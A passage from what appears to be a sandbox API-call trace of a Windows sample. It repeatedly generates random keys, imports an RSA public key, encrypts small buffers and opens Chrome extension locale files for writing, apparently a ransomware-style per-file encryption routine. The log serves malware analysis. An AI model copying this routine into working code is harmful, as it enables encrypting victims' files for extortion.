pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9960000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.472] GetLastError () returned 0x0 [0238.472] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.473] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.475] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2678) returned 1 [0238.475] CryptGetKeyParam (in: hKey=0x66b2678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.475] CryptEncrypt (in: hKey=0x66b2678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9970000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9970000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.475] GetLastError () returned 0x0 [0238.475] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.475] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.476] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.478] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.480] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.480] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.480] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.483] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.483] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.483] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.484] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.486] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2338) returned 1 [0238.486] CryptGetKeyParam (in: hKey=0x66b2338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.486] CryptEncrypt (in: hKey=0x66b2338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9980000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9980000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.486] GetLastError () returned 0x0 [0238.486] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.486] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.488] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2078) returned 1 [0238.488] CryptGetKeyParam (in: hKey=0x66b2078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.488] CryptEncrypt (in: hKey=0x66b2078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9990000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9990000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.488] GetLastError () returned 0x0 [0238.488] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.488] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.489] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.493] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.493] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.497] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.497] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.497] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.499] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b22b8) returned 1 [0238.499] CryptGetKeyParam (in: hKey=0x66b22b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.499] CryptEncrypt (in: hKey=0x66b22b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x99a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.500] GetLastError () returned 0x0 [0238.500] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.500] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.501] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b26f8) returned 1 [0238.501] CryptGetKeyParam (in: hKey=0x66b26f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.501] CryptEncrypt (in: hKey=0x66b26f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x99b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.502] GetLastError () returned 0x0 [0238.502] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.502] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.502] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.506] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.506] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.510] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.510] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.510] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.512] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2738) returned 1 [0238.513] CryptGetKeyParam (in: hKey=0x66b2738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.513] CryptEncrypt (in: hKey=0x66b2738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x99c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.513] GetLastError () returned 0x0 [0238.513] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.513] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.514] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2138) returned 1 [0238.514] CryptGetKeyParam (in: hKey=0x66b2138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.515] CryptEncrypt (in: hKey=0x66b2138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x99d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.515] GetLastError () returned 0x0 [0238.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.515] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.516] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.518] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.520] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.520] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.523] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.523] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.523] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.523] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.525] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2378) returned 1 [0238.526] CryptGetKeyParam (in: hKey=0x66b2378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.526] CryptEncrypt (in: hKey=0x66b2378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x99e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.526] GetLastError () returned 0x0 [0238.526] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.526] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.527] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2438) returned 1 [0238.528] CryptGetKeyParam (in: hKey=0x66b2438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.528] CryptEncrypt (in: hKey=0x66b2438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x99f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x99f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.528] GetLastError () returned 0x0 [0238.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.528] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.528] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.532] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.532] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.532] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.536] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.536] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.537] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.540] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b22f8) returned 1 [0238.540] CryptGetKeyParam (in: hKey=0x66b22f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.540] CryptEncrypt (in: hKey=0x66b22f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9a00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.540] GetLastError () returned 0x0 [0238.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.540] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.542] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2478) returned 1 [0238.542] CryptGetKeyParam (in: hKey=0x66b2478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.542] CryptEncrypt (in: hKey=0x66b2478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9a10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.542] GetLastError () returned 0x0 [0238.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.542] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.544] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.548] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.548] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.548] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.548] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.551] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.551] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.551] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.553] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b24f8) returned 1 [0238.554] CryptGetKeyParam (in: hKey=0x66b24f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.554] CryptEncrypt (in: hKey=0x66b24f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9a20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.554] GetLastError () returned 0x0 [0238.554] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.554] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.556] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b25f8) returned 1 [0238.556] CryptGetKeyParam (in: hKey=0x66b25f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.556] CryptEncrypt (in: hKey=0x66b25f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9a30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.556] GetLastError () returned 0x0 [0238.556] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.556] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.557] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.561] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.561] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.561] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.561] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.563] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.564] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.564] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.565] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.567] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b24b8) returned 1 [0238.567] CryptGetKeyParam (in: hKey=0x66b24b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.567] CryptEncrypt (in: hKey=0x66b24b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9a40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.567] GetLastError () returned 0x0 [0238.567] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.567] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.570] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, 